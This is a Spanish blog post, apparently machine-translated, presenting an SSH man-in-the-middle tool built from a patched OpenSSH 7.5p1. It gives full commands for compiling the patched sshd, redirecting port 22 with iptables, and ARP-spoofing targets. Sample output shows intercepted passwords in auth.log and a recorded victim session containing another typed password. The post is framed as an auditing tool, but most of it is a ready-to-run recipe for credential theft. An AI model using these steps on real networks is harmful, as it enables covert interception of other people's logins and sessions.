Herramienta Pruebas de Penetración SSH man-in-the-middle

Enviado por D1nam0 el Vie, 20/04/2018 - 02:20

By: j3ss3shl

Esta herramienta de pruebas de penetración permite que un auditor para interceptar las conexiones SSH. Un parche que se aplica al código fuente v7.5p1 OpenSSH hace que actuar como un proxy entre la víctima y su servidor SSH que está destinado; todas las contraseñas en texto plano y las sesiones se graban en el disco.


Por supuesto, el cliente SSH de la víctima se quejan de que la clave del servidor ha cambiado. Pero debido a 99,99999% de las veces esto es causado por una acción legítima (OS re-instalar, cambio de configuración, etc.), muchos / la mayoría de usuarios no tendrá en cuenta la advertencia y continuar.
NOTA: Sólo ejecutar el sshd modificado en una máquina virtual o un contenedor! Ediciones ad-hoc se realizaron a las fuentes de OpenSSH en regiones críticas, sin tener en cuenta sus consecuencias para la seguridad. No es difícil imaginar que estas modificaciones introducen vulnerabilidades graves. Hasta que se elimine la dependencia de los privilegios de root, asegúrese sólo para ejecutar este código en MVS / envases de usar y tirar.


Que hacer

Esta es la primera versión de esta herramienta. Si bien es muy útil como está, sin embargo hay cosas que mejorar:


SFTP MITM'ing. Añadir soporte de reenvío de puertos. Retire la dependencia de los privilegios de root. Crea un script que detecta cuando el usuario está tratando de utilizar la autenticación de clave única, y de-spoof de forma automática.


Configuración inicial:


1.) Instalar zlib y openssl headers:

sudo apt install zlib1g-dev libssl-dev


2.) Descargar OpenSSH v7.5p1 y verifcar su firma:


wget https://ftp.openbsd.org/pub/OpenBSD/OpenSSH/RELEASE_KEY.asc wget

https://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-7.5p1.tar.gz wget

https://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-7.5p1.tar.gz.asc gpg --import

RELEASE_KEY.asc gpg --verify openssh-7.5p1.tar.gz.asc openssh-7.5p1.tar.gz


3.) Descomprime el código, parchear las fuentes, y compilarlo:

tar xzf openssh-7.5p1.tar.gz patch -p0 < openssh-7.5p1-mitm.patch mv openssh-7.5p1 openssh-7.5p1-mitm; cd openssh-7.5p1-mitm; ./configure --with-sandbox=no && make -j 10


4.) Crear claves y el entorno de configuración:

sudo ssh-keygen -t ed25519 -f

/usr/local/etc/ssh_host_ed25519_key < /dev/null sudo ssh-keygen -t rsa -b 4096 -f

/usr/local/etc/ssh_host_rsa_key < /dev/null sudo useradd -m sshd && sudo useradd -m bogus && sudo

chmod 0700 ~sshd ~bogus sudo mkdir /var/empty; sudo cp ssh ~bogus/


Corremos el ataque:


1.) Correr sshd:

cd /path/to/openssh-7.5p1-mitm sudo $PWD/sshd -f $PWD/sshd_config


2.) Habilitar el reenvío IP:

sudo bash -c "echo 1 > /proc/sys/net/ipv4/ip_forward" 
sudo iptables -P FORWARD ACCEPT


3.) Permitir conexiones a sshd y modificar el trazado remitido conexiones SSH:

sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT 

sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 22


4.) ARP spoof un objetivo (s) (Protip: no suplantar todas las cosas que su interfaz de red débil probablemente no será capaz de manejar el tráfico de toda una red de una sola vez suplantar Sólo un par de direcciones IP a la vez) arpspoof -r -t 192.168.x.1 192.168.x.5


5.) Monitor auth.log. Intercepted passwords will appear here:

sudo tail -f /var/log/auth.log


6.) Una vez que se establece una sesión, un registro completo de toda la entrada y salida se pueden encontrar en /home/bogus/session_*.txt.


Muestra de resultados:


Tras el éxito, /var/log/auth.log tendrá que registran las líneas de la contraseña, asi:

May 16 23:14:01 showmeyourmoves sshd[16798]: INTERCEPTED PASSWORD: hostname: [10.199.30.x]; username: [jdog]; password: [supercalifragilistic] [preauth]


Por otra parte, toda la sesión SSH de la víctima se encuentra en /home/bogus/session_*.txt:

# cat /home/bogus/session_0.txt Last login: Tue May 16 21:35:00 2017 from 10.50.22.x OpenBSD 6.0-stable (GENERIC.MP) #12: Sat May 6 19:08:31 EDT 2017


Welcome to OpenBSD: The proactively secure Unix-like operating system.
Utilice el sendbug (1) utilidad para informar de los errores en el sistema. Antes de informar de un error, intenta reproducirla con la última versión del código. Con los informes de error, intenta garantizar que la información suficiente para reproducir el problema está encerrado, y si una solución conocida para ella existe, que incluirá también.


jdog@jefferson ~ $ ppss PID TT STAT TIME COMMAND 59264 p0 Ss 0:00.02 -bash (bash) 52132 p0 R+p 0:00.00 ps 

jdog@jefferson ~ $ iidd uid=1000(jdog) gid=1000(jdog) groups=1000(jdog), 0(wheel) 

jdog@jefferson ~ $ sssshh jjtteessttaa@@mmaaggiiccbbooxx jtesta@magicbox's password:ROFLC0PTER!!1juan


Nota que los personajes de los comando del usuario aparecen dos veces en el archivo debido a que la entrada del usuario se registra , así como la salida de la shell (que se hace eco de caracteres espalda). Observe que cuando programas como sudo ssh y desactivar temporalmente haciendo eco con el fin de leer una contraseña, los caracteres duplicados no se registran.
Para mayor información y descarga consulten: https://github.com/jtesta/ssh-mitm

 

Acerca del autor

Sociólogo de profesión y un fiel militante en tecnologías de la privacidad, también editor en la wiki de "Archlinux", el blog "El Binario" y para el portal "Security Hack Labs", me puedes contactar en Telegram como @D1nam0 o bien por mail d1nam0@cryptolab.net